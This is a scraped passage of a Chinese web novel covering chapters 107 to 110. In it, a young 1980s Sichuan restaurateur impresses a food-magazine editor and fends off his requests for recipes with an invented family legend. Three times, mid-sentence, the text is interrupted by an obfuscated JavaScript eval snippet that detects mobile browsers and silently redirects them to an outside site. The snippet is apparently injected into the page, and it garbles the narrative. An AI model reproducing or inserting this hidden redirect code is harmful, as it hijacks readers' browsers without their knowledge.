客人们抢着点单，像是生怕被人抢了先，这让何志远愈发好奇这卤猪头到底有什么魅力。 何志远侧身让一位拿到卤味的客人出来，见缝插针的往里一步，便来到了方桌前。 桌上的簸箕里摆着猪耳朵、猪拱嘴和切成长条的猪头肉，色泽红亮，泛着油润的光泽，堆得满满当当，相当有视觉冲击力。 这糖色太诱人了，以他的经验来说，这卤肉绝对差不了！ 而且老板相当聪明，用一个相对小的簸箕，把卤肉装的满满当当。 俗话说得好，货卖堆堆，货堆的越多，客人越愿意买，有种量多又新鲜的感觉。 你要拿个大簸箕一摊开，就没这感觉了。 当然，这肉确实也不少，至少是六七个猪头，好几十斤的重量，要是工厂下班这个时间能卖完的话，生意绝对算得上火爆。 猪头肉卖两块五，猪耳朵和猪拱嘴卖三块一斤，价钱不便宜，蓉城有几家名气很大的卤味店，差不多卖这个价。 在嘉州的乡镇上，卖这个价，还能让客人们围着抢购，已经足以说明了许多事情。 何志远在边上瞧了一会，惊的张大了嘴巴。 这切卤肉的师傅刀太准了，客人说要多少肉，一刀下去，就是多少重量，竟是一钱偏差都没有。 他这手，简直跟秤没啥区别。 再看他切耳片，手中切片刀刷刷刷，耳片飘落，薄的能透光，每一片厚度都是均匀的。 快、准、稳！ 这刀工，能和蓉城大饭店后厨最好的墩子媲美。 切好的耳片用油纸袋装好递给客人，也就一会功夫，立马又给下一位客人切猪头肉。 速度快，手法又好看，客人们等着也不觉得无聊，看得津津有味，还有人在讨论啥时候会出现重量失误。 何志远没想到，这小饭店还有这样厉害的凉菜师傅！ 不过他的目光很快被师傅身后那口大灶所吸引，大锅里煮着的应该是牛肉汤，香气随着热气已经飘过来了，细细一闻，肉香浓郁，竟是一点膻味都没有。 灶的正面写着几行字。 “跷脚牛肉？这菜名倒是有趣……”何志远继续往下看，兴趣愈发浓郁。 这灶原来是招牌，不光写了菜名，还把这道菜的渊源也简述了一遍。 字写得好，故事也写得不错。 按这个说法，这跷脚牛肉算得上是苏稽的地方名菜啊。 杀牛周村，上回来苏稽，黄琛跟他提起过这个村子，嘉州地区的牛肉不少是从这里杀了转运到市场去卖的，杀牛渊源久远。 作为美食杂志的副主编，他和一般的老饕不一样，他不光爱吃，更喜欢挖掘一道菜背后的故事。 这家小饭店，把跷脚牛肉的故事就讲的极好。 有成菜故事，有历史渊源，也有发展传承。 短短百余字，却把这道菜的前世今生讲的明明白白。 清汤牛肉、药膳、有祛寒除湿的功效，而且汤鲜味美。 那这道跷脚牛肉，倒真是有些不一样！ 何志远也不在卤肉摊前挤着看热闹了，几声借过从人群中挤了出来，便瞧见黄琛和小李已经在店里坐着朝他招手。 他扬了一下手，表示已经看到，但是并没有急着往他们那边走，而是凑到了那口大锅跟前。 锅里的汤还有一半左右，汤色清澈，面上泛着油光，能看到锅底敲断的牛骨，小火微微沸腾的状态。 站在锅前的是个中年妇女，面上带笑，看着挺和善的，一手拿着个竹漏，一边往竹漏里加莲花白、牛肠、牛板筋、毛肚。 待到快要出锅的时候，再抓六片切的纤薄的吊龙丢到竹漏里，汆烫几秒，肉色从红转粉，立马将竹漏提出汤锅，倒入一旁的土碗，再从锅里舀一勺浓汤入碗，这一份跷脚牛肉就算成了。 成菜很快，碗里的肉还不少，牛杂、牛板筋还有牛肉。 赵铁英早就注意到何志远了，胖嘟嘟的，戴个眼镜，站在灶台前东瞄西瞄，盯着她做跷脚牛肉，心头有些警惕，不过面上还是带着笑道：“吃饭里边坐嘛，还有两桌空桌子。” “不急不急。”何志远摆手，笑着问道：“这位女同志，这跷脚牛肉是你做的吗？汤味闻到好香啊，里面放了哪些香料和中药可以透露不？这汤真的熬足了八个钟头吗？你烫那些配菜的时候，有什么讲究没得？” 赵铁英脸上的笑容消失了，眼神变得犀利，盯着何志远冷声道：“你这个眼镜，是哪家派来的奸细？” “我刚刚看你就不像个好人，盯着我做跷脚牛肉就算了，看完还敢东问西问！” “扒灶台看炒料——偷油又偷火！” “啷个？你想偷艺啊？！” “信不信老子铲你！” 何志远看着赵铁英扬起的竹漏，吓得往后退了两步，眼镜都掉到鼻尖上了。 这婆娘好歪！ 外边切卤肉的周淼闻声也是转过头来，盯住了何志远，手里的菜刀都握紧了几分。 客人们则是纷纷看了过来，啥情况啊？ “同志，你误会了！”何志远连忙摆手，没想到还闹出这种误会来。 “赵铁英同志，这位是我的朋友。”黄琛见状连忙起身走了过来，一手搭在了何志远的肩上，笑着介绍道：“他是《四川烹饪》杂志的副主编何志远同志，他不是厨师，也不是来偷艺的，他是平时是写文章的。” 赵铁英闻言，连忙把手里的竹漏放回汤锅，有些尴尬的笑了笑：“原来是**长的朋友啊，那是我误会了。不好意思啊，同志。” **长昨天说要在他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200225|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店里招待朋友定了菜，结果今天她差点把人朋友当偷艺贼打了，这可太尴尬了。 什么杂志社的副主编，写文章的文化人……回去之后不会天天写文章骂她吧？ 周淼默默转回去，继续切猪头肉。 “没得事，没得事，是我太唐突，没有提前跟你做自我介绍。”何志远推了推眼镜，倒也不恼。 这种情况他不是第一回遇见了，甚至有被厨师拎着菜刀追了三条街的经历，只是拿竹漏吓唬一下不算什么。 毕竟在厨师界，他的问话方式一向比较讨打，都习惯了。 毕竟人家厨师有师承，有秘方，不可能啥都愿意分享。 但作为美食杂志副主编，他就爱提读者想要知道，想问的问题。 管他三七二十一，先问了再说。 说不定有些厨师肚量大，愿意分享，也算是为川菜传承做一份贡献嘛。 他个人被骂几句算个屁。 《四川烹饪》杂志的读者，除了烹饪爱好者和主妇，还有许多厨师朋友，他们都想从优秀的同行那里汲取知识和技巧。 他们当初创刊，就是为了挖掘四川烹饪文化，深入探讨烹饪理论，交流川菜技艺，介绍四川各地美食，以及行业资讯。 要是光介绍什么菜好吃，不讲渊源，不谈做法，终究差点意思。 “赵同志，就按昨天我预定的菜给我们上嘛。”黄琛说了一声，拉着何志远回到座位上，笑得合不拢嘴。 “笑啥子，我不要面子的吗。”何志远落座，也是忍不住笑。 黄琛笑着道：“你太心急了，有啥子想问的，等你吃饱了，我带你过去先介绍一下你的身份再问，人家就算不愿意回答，也不至于动手嘛。” “你不懂，这跷脚牛肉看着确实巴适，我根本忍不住发问。”何志远目光在店里四处看着。 饭店里边还挺大的，摆了十九张桌子也不显得拥挤，这会每桌都有客人了，外边还有人排队等着吃饭，在小镇上有这样的生意，算是非常好的。 八仙桌配长条凳，地上铺了一层水泥砂浆，桌子、凳子抹的干干净净，不见一点油渍，谈不上什么装修，但看着还算清爽干净，胜过九成九的乡镇小饭店。 “你点了啥子菜？”何志远的目光落在了菜单墙上，菜单挺简单的。 “跷脚牛肉、回锅肉、双椒碎花牛肉、卤猪耳朵、凉拌鸡，四菜一汤。”黄琛说道。 “三个人点多了哦，我看他这里菜都多大一份。”何志远收回目光，摇头道。 “吃不完把凉菜打包回去，来都来了，要让你多尝两个菜嘛。”黄琛笑着道，先把酒给开了。 说话间，跷脚牛肉先上来了。 给上了三个干碟，三个喝汤的小碗，还配了一碟泡萝卜。 “跷脚牛肉来了，我先尝口汤！”何志远立马坐直了身子，拿起勺子给自己舀汤。 菜单上让他最感兴趣的，就是这份跷脚牛肉！ “《四川烹饪》杂志？”厨房里，周砚看着端着碗喝汤的何志远，若有所思。 要是能上杂志的话，对提高饭店知名度应该有不错的效果吧？ 这个时代，杂志可是相当有传播度的载体！ 这是我淘的旧书，今天刚拿到。 有几册封面之精致，还有里边彩印的图片，都让我有些惊讶。 包括这一册的最后一页，灌县幸福餐厅店堂的装修，也让我有些震撼。 这是1984年第三期。   (本章完) 第108章 出名要趁早啊！（为盟主一笑天晴加 【叮！支线任务触发：上一期《四川烹饪》杂志，扩大饭店影响力！该杂志副主编正坐在你的饭店里用餐，他此次前往峨眉山是为了取材，尚未确定下一期杂志供稿内容。主动出击，争取机会，登上杂志，成为烹坛新星！】 【任务奖励：视影响力结算奖励稀有度。任务接受：是/否】 周砚的眼底弹出一条提示。 “这任务……”周砚皱眉，可能不太容易完成吧？ 这杂志一直存续着，他成名后甚至还受邀去杂志社参观过。 《四川烹饪》在**十年代相当有影响力。 八十年代川菜热，不光是川菜馆遍地开花，连带着各类川菜书籍、杂志也跟着火爆全国。 不过周砚还是果断选择接受。 名利向来是共生的，他要让家人过得更好，不管修房子还是进城，都得挣更多的钱！ 他不会在苏稽待一辈子。 可离开了苏稽，便再无家人兄弟撑腰，长辈庇护。 名声将会成为他的铠甲，助他在嘉州或是蓉城，踏出一条路来。 他得提前做一些打算，哪怕是为几年后铺路。 自媒体时代卷过来的人，对于热点和机会的把握性会更敏感一些。 这杂志他必须上！ 出名要趁早啊！ …… “好鲜！眉毛都鲜掉了！” 何志远看着手里的空碗，脸上满是惊艳之色。 这汤看着清澈，但汤味浓郁，极其鲜美，绝对熬足了八个小时。 再夹起一片牛肉，不蘸料先尝了一口。 牛肉片大薄软，汆烫的火候把控的十分精准，吃起来格外鲜嫩，且有股淡淡的奶香味，小孩老人应该会很喜欢。 接着他又夹了一块牛肉，往干碟里一蘸，粉嫩的牛肉立马裹上了一层辣椒面。 喂到嘴里，眼睛顿时一亮。 这干碟香辣中带点微麻，咸香适口，让原本清淡的牛肉，滋味立马变得丰富起来。 辣椒面是用多种辣椒磨制的，香、辣、鲜兼顾，层次感分明，加了点花椒粉和盐，交融在一起，相当完美的蘸碟。 川菜之中，很多清淡的菜，吃的就是一个蘸碟。 比如老妈蹄花、简阳羊肉汤、荤豆花等，蘸碟就是这道菜的点睛之笔，好坏差别可大着呢。 当然，川味蘸碟千姿百态，每一个厉害的老板都有自己拿手的蘸碟配方。 跷脚牛肉配的这碟干辣椒面，应该就是跷脚牛肉的最优解。 他又尝了碗里的其他菜。 毛肚脆爽，牛筋软糯，牛肠耙软，各有特色和风味，都好吃！ 汤味实在是太鲜了。 何志远和小李分着喝完了一碗汤，黄琛又去给他们加了一碗。 “一碗跷脚牛肉三个人分着吃，这牛肉汤还能免费续？这老板的格局可真大！”何志远有些诧异，如此鲜美的牛肉汤，换别家肯定得卖钱啊。 “这家饭店的老板是个二十岁的年轻人，名为周砚，那边守着跷脚牛肉锅的是他妈，外边切牛肉的是他老汉，那边晃着脚的小姑娘是他妹儿，这跷脚牛肉就是周砚做的，确实是个有本事的年轻人。”黄琛笑着道。 “二十岁？那么年轻？！”何志远惊讶，兴趣又添了几分。 “老黄，这么好的饭店，你上回不带我来？带我吃啥子国营饭店。”何志远有些幽怨的看着黄琛，“你要带我来，今年《四川烹饪》第一期我就让他上四名览胜栏目了，以后这跷脚牛肉就是苏稽知名美食。” “上回你来，这饭店还没开。”黄琛白了他一眼，又道：“等会你尝尝他做的卤味和凉拌鸡，家传的手艺，吃完我再跟你讲渊源。” “你还给我整点神秘感？”何志远更有兴致了。 他们点的菜陆续上来了。 “这回锅肉炒出灯盏窝来了，拈起来油光一闪一闪的，相当有水平啊。”何志远夹了一块回锅肉，卷起一根蒜苗喂进嘴里，细细咀嚼品味，连连点头：“正宗二刀肉，选的是优质的土猪肉，水煮的时间恰到好处，回锅的火候也是相当到位，调味合适，相当有水平！” “主编，跟荣乐园的相比呢？”小李问道。 何志远回味了一下，点头道：“跟荣乐园的老师傅炒的相差无几。” “评价那么高！”小李都惊了，下意识往厨房方向看。 一个二十岁的年轻人炒的回锅肉，竟是让副主编给出了如此高的评价！ 要知道副主编可是说过，他心里炒的最好的回锅肉，就是荣乐园的。 接着上来的碎花牛肉，何志远吃完，同样赞不绝口，一会功夫就扒拉了半碗饭。 卤猪耳朵和凉拌鸡上桌。 黄琛把酒给开了，一人先倒上一杯。 “他老汉之前做啥子的？这刀工真的太好了。”何志远夹起耳片，薄的能透光，卤汁浸透了耳片，色泽如琥珀般漂亮，中间的软骨如花纹点缀其上。 “杀牛的，苏稽最好的杀牛匠。” “难怪手那么准！”何志远恍然，一下子全都明白了，顺手把耳片喂到嘴里。 耳片切的很薄，口感极佳，软糯的耳片与脆爽软骨交织出绝妙的口感，咔嚓，咔嚓声在口腔中回荡，卤香于唇齿间绽放。 何志远的咀嚼的动作下意识放缓，咽下之后又迅速夹了两片喂到嘴里，闭上眼，细细咀嚼，品味。 “好正宗的老卤！调教的太完美了！我只在川西吃到过一回相近的，但都不如它。”他睁开眼，眼中满是惊艳之色，看着黄琛道：“你说老板二十岁？这卤水的年限都快赶上他了，家传的老卤？” “你这张嘴，果然瞒不了你。”黄琛笑着点头，“周家老太太姓张，年轻的时候在苏稽石板桥头摆摊卖卤味，张记卤味名动嘉州，后来动荡之后，便没有再摆摊售卖，如今将这门手艺传给了她的孙儿周砚。” “张记卤味！我听嘉州飞燕酒楼的老板聊起过，他说当年酒楼卖的卤肉是从苏稽张记卤味进的货，可是赚了不少名声和老客，后来张记不开了，飞燕酒楼自己做的卤肉差的太多，索性把卤肉从菜单上取消了，因此流失不少客人。”何志远夹起一片卤猪耳朵，若有所思：“如果传承之后都能做到这种程度，当年是何等美味就可想而知了。” “一等一的下酒好菜。”黄琛提杯和他碰了一下。 何志远只抿了一小口，他心里揣着事，不想把自己喝的太醉。 他又尝了凉拌鸡，红油很香，鸡肉的口感也恰到好处，但没卤猪耳朵那么让他惊艳。 他吃过更好的，这凉拌鸡还有上升空间。 最后上来的是一个卤猪蹄，斩了两刀，但皮没有完全斩断，所以依旧拼成了一个猪蹄摆在盘子里，端上了桌。 “卤猪蹄！还是热的！”何志远的眼睛亮了起来。 这卤猪蹄的颜色太鲜亮了，糖色相当均匀，红亮红亮的，冒着热气，拿筷子一戳，肉皮颤颤巍巍，还有些许油脂溢出。 这谁能拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200226|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝得了啊。 “来，分了。”何志远用筷子一夹，软烂的肉皮就分开了，猪蹄竖切一刀，横切一刀，分成四块。 他也不客气，先抓了一块猪脚尖的部位，直接啃了一口。 肉皮一抿就化，肉筋软糯微粘，轻轻一咬就脱骨，卤汁连蹄筋都渗透了，一口接一口的啃着，香的根本停不下来。 “这老卤水太香了，感觉丢根皮带进去卤都是香的！”何志远嗦了一下指头，意犹未尽，看着黄琛道：“老黄，我现在承认了，苏稽还是有点东西的。” 黄琛一脸得意，仰着下巴看他：“你信上说的，认了你就自罚三杯。” 何志远笑着道：“咱把这猪耳朵打包回去，晚上咱们再慢慢喝，现在不行，一会我还想找这老板聊聊。” “行。”黄琛点头。 一旁正在夹猪耳朵的小李僵住，看看筷子上的猪耳朵，又看看两位领导，尴尬的笑着放了回去。 小李：请喂我花生。 周砚端着一份火爆猪肝出来，给他们隔壁桌上菜。 “周砚。”黄琛开口招呼。 “**长，您有事？”周砚面带微笑的走了过来。 何志远打量了一下周砚，眼里有几分讶色。 好年轻！ 长得还俊朗。 白色厨师服干干净净，一米八的大高个，外在形象在厨师里绝对是第一档的，跟电影明星一样。 黄琛对周砚印象极好，笑着给他介绍道：“这位是我的朋友，《四川烹饪》杂志的副主编，吃了你做的菜赞不绝口，想要跟你认识一下。” “你好，我是何志远，你叫我老何就行。”何志远起身，把手在衣服上蹭了蹭，向周砚伸出了右手。 周砚看了眼他蹭完还些许油腻的手，毫不犹豫的握了上去：“你好，何主编，我是《四川烹饪》杂志的忠实读者，很荣幸能够见到你，你们的杂志办得实在太好，太有水平了，每次拜读我都受益良多。” “真的！”何志远眼睛一亮，面上容光焕发，握着周砚的手都紧了几分，带着几分激动道：“能给读者和年轻的厨师带来帮助，可太好了！这就是我们创刊的目的啊！” “对……”周砚脸上的笑容僵了几分，因为他感受到了对方的真诚和发自内心的喜悦。 这个时代，终究是有一批怀揣理想主义的人，为理想而奋斗。 他下次一定订阅《四川烹饪》杂志！ “老板，我们的藿香鲫鱼还没有抓回来吗？”旁边桌的客人笑着问道。 何志远连忙松开手：“你先忙，等你忙完了咱们再慢慢聊，你这跷脚牛肉和卤肉做的太好了，我一定要跟你好好探讨探讨。” “好，那你们请慢用。”周砚笑着应道，转身进厨房。 成功与何志远建立联系，并给对方留下不错印象，这是一个不错的开端。 何志远看着周砚进了厨房，凑过来和黄琛、小李小声道：“太好了！这老板一看就很和善好说话，不像他妈那样凶的批爆。我刚刚应该给他留下的印象不错吧？不晓得他愿不愿意接受我们的采访哦。” …… 感谢一笑天晴打赏的本书第一位盟主！ 接下来几天会每天加更还上！ 其实这个月轻语很勤快了，日均更新8k以上，天天熬夜哐哐写！ 所以，求个月票！明天继续加更！就酱！   (本章完) 第109章 何主编给忽悠瘸了 何志远和黄琛他们这桌并没有吃的太久，其他菜吃完，把耳片打包，便结账给后边排队的客人让座了。 等到快七点，店里的客人陆续吃完离去，后厨也彻底闲了下来。 赵铁英转到后厨来，看着正在解围裙的周砚小声叮嘱道：“那个啥子主编还在门外等你呢，跟他说话你要注意点，他们这种文化人最会诓人，他还想套我们跷脚牛肉的秘方呢。” “你放心，我有数。”周砚笑着道，他原本以为何志远他们已经回去，他要登门去拜访，没想到对方竟然就在饭店门外守着，这份重视倒是让他有些意外。 合作这种事，谁表现的越重视，说明谁更心急。 首先排除对方也要做系统任务，那唯一的解释就是何志远想借跷脚牛肉和卤肉写一篇文章。 如果真是如此，倒是正中他下怀。 不过对方把姿态摆的越低，说明他的要求肯定会越多。 《四川烹饪》不止是美食杂志，更是一本美食期刊，技术交流栏目里的大厨，手上有活是真拿出来交流。 周砚不是愣头青，心里明镜似的。 顶尖名厨手里漏点活，显得专业又大度，能进一步提升他的知名度，丝毫不用担心在大饭店后厨的地位被动摇。 他才刚起步，手里就这点活，还指望着靠跷脚牛肉打出名声，靠卖卤肉给家里挣修新房的钱呢。 这配方啊，他是决计一点都不会漏的。 整了整衣服，周砚面带微笑出门去了。 何志远和黄琛坐在门口树下的长条石上闲聊，小李站在河边吹风发呆，看落日红霞。 看到周砚出门来，何志远立马起身笑着迎了上来：“周大厨忙完了啊。” “刚忙完，让何主编和**长久等了。”周砚也是笑着道。 “无妨无妨，我们吃了饭在这吹会江风，摆摆龙门阵，安逸得很。”何志远摆摆手，目光炙热的盯着周砚：“你做的这个跷脚牛肉汤鲜味美，我看你把灶当招牌，写了一段渊源，写的相当有水平啊。” “何主编过奖了，我也只是按照老辈子讲述的传闻，照实记录下来，略微添了几笔，谈不上有水平。”周砚微笑道，“你要是感兴趣，咱们进去泡杯茶，坐下来慢慢聊。” “要得！我最喜欢听的就是这些美食背后的传承故事。”何志远搓了搓手，冲着在站在河边吹风的小李喊道：“小李！快点把本本拿来听故事。” “啊？哦！”小李一边拉开背包拉链，一边快步走过来，脸上满是加班的喜悦。 周砚邀请三人进店，在靠近门口的桌子落座，又从柜子里翻出了一盒小周珍藏的峨眉绿茶，给他们泡上。 高端的峨眉雪芽小周肯定喝不上，不过产自峨眉山的明前绿茶，热水冲泡之下，倒也茶香四溢，绿的十分讨喜。 周砚坐下，看了眼一旁端正坐着，面前摊开一本笔记本，手里握着英雄钢笔的小李，开口道：“我们周村的跷脚牛肉，有上百年的历史，罗姓老中医悬壶济世，以中药烹饪牛杂，味美又有多种药效，曾闻名一时，因客人爆满，没有坐的地方，把脚跷在桌子的横杆上吃，因而得名跷脚牛肉……” “不过后来历经战乱，这手艺渐渐消失，成了村里老辈子的回忆。周村人还是沿河贩卖汤锅，但味道终究差点意思，再无那些传闻中的药效，不见当年客人满堂，要跷脚才能吃上一碗牛肉汤的盛况。” “可惜，可惜啊！”何志远感慨，又看着周砚道：“那你又是如何将这跷脚牛肉复现呢？” 小李和黄琛一脸好奇的看着周砚。 就连周淼、赵铁英和赵红，也都停下了手头的活，纷纷看向周砚，都想听听他会怎么编。 周砚喝了一口茶，声音变得深沉了几分：“说起这个，就不得不说我们周家太爷爷，他老人家和当年罗老中医的儿子是拜把子的兄弟，罗家人战乱年代离开了苏稽，临走前把跷脚牛肉的秘方交给了我太爷爷，我太爷爷把秘方藏在了房梁上，只把这件事交代给我爷爷。” “我爷爷从军出川后，戎马一生，跨过鸭绿江再没回来，所以这份秘方便被所有人遗忘了。” “直到去年过年，我奶奶让我给房梁扫灰，意外发现了数十年前藏在夹缝里的这份秘方，我觉得冥冥之中有一种天意，让我要把这传承续上。” “可惜这份秘方被老鼠咬了一角，历经数十年，很多字迹已经模糊，想要复刻困难重重。” “十数种香料、中药，用量的些许差异就会出现完全不同的味道，我花了两年时间，不分寒暑，不停试验，终于复刻出这道曾闻名一时的苏稽美食——跷脚牛肉。” 店堂里安安静静的，所有人看着周砚的目光都多了几分敬佩。 “周砚同志，你这种为复刻经典，传承美食，不屈不挠的精神，实在是太感人了！”何志远赞叹道，“现在的年轻厨师，又有几个能沉下心来做这种事情呢。” 小李忍不住鼓掌，同样二十岁的年纪，他只会天天背着包跟在何主任的屁股后边，听啥记啥，和周砚比实在差远了。 黄琛连连点头，同样跟着鼓掌，这年轻的人心性实在太稳重了，有这种屹立和天赋，将来肯定不一般。 “这是真事吗？”赵铁英凑到周淼的耳边，用极低的声音问道。 “应该是吧……”周淼也不太确定，听周砚说的有板有眼，感觉不像是假的。 就是他们家老宅吧，已经翻修了两回，梁好像也换过一回？ 他爷爷真把秘方藏在梁上了？ “锅锅好腻害！” 周沫沫才不管那么多呢，听到动静把手里的洋娃娃放下，跟着鼓掌，跟着夸夸自家锅锅。 她锅锅天下第一好！ 做饭天下第一好吃！ 何志远看了眼小李的笔记本，周砚刚刚说的话全记上了，眼底多了几分满意之色，小李的速记能力越来越好了。 “这跷脚牛肉秘方实在是太宝贵了，传奇一般的故事，更凸显了烹饪技艺传承的魅力。”何志远看着周砚，满脸赞叹道：“我吃遍了四川各地，但跷脚牛肉确实很特别，在牛肉烹饪方法之中，有其独到之处，将来必然会在川菜中有一席之地。我想把跷脚牛肉作为一期内容，刊登在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200227|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烹饪技术栏目中，不知周砚同志是否愿意分享一些烹饪技巧，供烹饪爱好者和同行们学习？” 黄琛默默别过脸去，他这朋友啥都好，就是胆子太大了，他跟着出门吃饭都怕被打。 赵铁英横眉冷竖，这家伙果然贼心不死，有些紧张的看向周砚。 小李抿嘴，一手按住了身旁坐着的布包，做好跑路准备。 跟着何主任出差，除了能够吃到各地地道的美食，也积累了相当丰富的跑路经验。 周砚笑容不改，微微摇头道：“不瞒您说，这秘方里最完整的一句话就是：家传手艺，不得外传！这秘方现在在我奶奶手里呢，跟我再三叮嘱，让我千万别当不肖子孙，不然家法伺候。” “这样啊……”何志远有点失望，斟酌着还想说点什么。 “不过既然何主编开口，要让跷脚牛肉登上《四川烹饪》杂志，给这道传承百年的佳肴正名，我做了一个违背祖训的决定。”周砚神情严肃了几分。 “请讲。”何志远眼睛一亮，连坐姿都端正了几分。 “真讲啊？”赵铁英有点急了，盯着周砚欲言又止。 小李把包放下，握着钢笔准备继续记录。 周砚开口道：“要说这跷脚牛肉的精髓，其实都在这一锅汤里，首先我们要选用优质的新鲜牛骨、牛杂，加入十余种香料和中药，小火慢熬八个小时，最后得到一锅味道鲜美的高汤，那这跷脚牛肉就算成了大半。” “我们这跷脚牛肉里加了牛肠、毛肚、牛蹄筋，还有新鲜的吊龙，烹以最佳的火候，倒入土碗之中，这一碗跷脚牛肉就算成了。” “技巧全在实践当中，对于各种食材的火候把控，不是三言两语能说得清的，欢迎食客们来苏稽周二娃饭店亲自品尝。” 何志远沉默了一会，看着周砚道：“就……这样？” 感觉周砚讲了什么，又好像什么也没讲？ 顺便还打了个广告？ “他讲了什么？”赵铁英凑到周淼耳边确认道。 周淼略一思索：“周村汤锅的大概做法？” 赵铁英慢慢别过脸去，控制了一下表情。 “何主编，你认为今天这道跷脚牛肉，让你最动容的是什么？”周砚看着他反问道。 何志远认真思索了一会，道：“是美味的跷脚牛肉百年传承被续上的感动，是你百折不挠的钻研精神。” “说得太对了。”周砚点头道：“一篇文章是要有重点的，你要写传承，你不能只写技术，要写百年前悬壶济世的罗老中医的仁心；要写百年后年轻厨师周砚百折不挠的重现跷脚牛肉的辛苦历程。” “你要写这跷脚牛肉与川内其他地方牛肉做法的区别；要写这道菜如何从色香味各方面打动你。” “我看，放在四名揽胜栏目里就挺好的。” “标题我都帮你想好了：震惊！苏稽百年美食传承再现，竟是因为这个男人！” “读者只要翻开目录，绝对先翻开这页看。” 求月票~   (本章完) 第110章 新家！我们的新家！（第二更！） 何志远听得一愣一愣的，感觉很有道理，但又好像哪里有点不太对劲。 不过有一点他听明白了，他写跷脚牛肉要抓重点！ 对于一名文字工作者来说，周砚这话有点一语点醒梦中人的感觉。 既然他想要挖掘跷脚牛肉这道菜的前世今生，探讨这道菜背后的烹饪文化，讲述它的传承故事，那就应该着墨于此。 若是还去细究这道菜的做法、技巧和配方，反而舍本逐末了。 而且周砚的态度其实很明确，配方是不可能透露的，家传的手艺，指着吃饭呢。 何志远也不是犟种，敢问，但素来不强求。 这种事情他经历的可太多了，从一开始的沮丧到后来的习惯、理解，现在已经根本不放在心上了。 更何况这一次，他可是收获满满。 嘉州离蓉城那么近，他一年来十多回，几乎走遍了每一个乡镇。 能够从苏稽挖掘出一道具有代表性的美食，着实让他十分兴奋。 更高兴的是，还认识了一位有趣的厨师。 周砚，可真是一个妙人。 “周砚同志，你提的这些意见太好了，我回去之后会仔细琢磨，认真参考，受益良多，多谢多谢。”何志远向周砚拱了拱手道，一脸真挚的笑。 “客气客气。”周砚也是跟着拱手。 何志远又道：“明天中午营业前，我会带小李过来拍几张照片作为配图，不知是否合适？” “当然没问题，有什么需求，何主编尽管提。”周砚笑着点头，太好了！这不就成了！ 何志远的目光在饭店里打量着，又盯着周砚看了一会，说道：“明天把桌子搬到门口拍跷脚牛肉的特写照片，外面天光要亮一些，你这店里的灯光太暗了，拍出来不好看。” “对了，你要是能换一身新一点的厨师服最好，你形象好，个又高，站那口大锅前边我给你拍个全身照，把跷脚牛肉的招牌也拍上，效果肯定不错。” “行，都听你的。”周砚点头。 瞧瞧，这就叫专业！ 何志远起身走到灶台前，拿起旁边篮子的土碗，皱着眉头打量了一会，摇头道：“这土碗虽然实用，但确实不太好看，颜色过于深了，拍不出牛肉汤的清澈，也拍不出牛肉的粉嫩和毛肚的晶莹，要是能换个清爽的大碗效果会更好，说不定能争取上封面。” “碗……”周砚跟着走了过来说道：“要不明天早上我去供销社瞧瞧有没有合适的，这店里确实只有土碗了。” 赵铁英开口道：“不用买，你奶奶那里有一套青花瓷碗，可漂亮了，明天早上去借个大碗来用一下再给她送回去就行。” 周砚闻言眉梢一挑，青花瓷啊？是祖上传下来的宝贝吗？ 他们家根正苗红，兄弟又多，动荡年代也没人敢上门**，老太太指不定还真留了些好东西在手里呢。 “那可太好了！”何志远眼睛一亮，笑着道：“前两年小日本的《妇女之友》杂志社来拍《中国名菜集锦》的时候，为了突出菜品效果，咱们的同志还特意去博物馆借了家具和古董，那拍出来的效果可太好了！” “小日本拍照确实有一套，把咱们的川菜拍的相当精美有食欲，我们负责陪同和翻译，跟着学了不少东西。” “后来创刊之后，就按照这个标准来拍美食佳肴，读者的反响非常好。” 说起这事，何志远兴致颇高：“你们知道这《中国名菜集锦》一套九卷，卖多少钱吗？” 众人纷纷摇头。 “1800元的天价！”何志远的声调一提：“该死的资本主义国家！我们《四川烹饪》一册才四角钱！一年才一块六！” 众人也是倒吸了一口凉气。 1800元买一套书！ 这钱能在乡下修个房子了！ “该死的资本主义国家！” 大家在心里跟着骂了一嘴。 实在是太骄奢淫逸了！应该狠狠的批判！ 见众人听得津津有味，何志远便又讲了一些关于《妇女之友》杂志社来川拍摄的趣事，兼顾对小日本的批判，倒是相当诙谐有趣。 这茶话会持续了一个小时才结束，何志远与周砚约好了时间，骑上自行车与黄琛他们走了。 “这些文化人讲话还真有意思。”赵铁英笑着道，倒是对何志远有所改观。 她算是看出来了，周砚把他忽悠了一道，对方不傻，但并不在意，依然愿意给周砚拍照宣传。 上杂志和上报一样，那是光宗耀祖的好事啊！ “是挺有意思的，一点架子没有，只有对美食的一腔热忱。”周砚也是笑着说道。 天色已暗，今天周砚就不去跑步了，和老周同志把又晒了一天的木板给搬了回来。 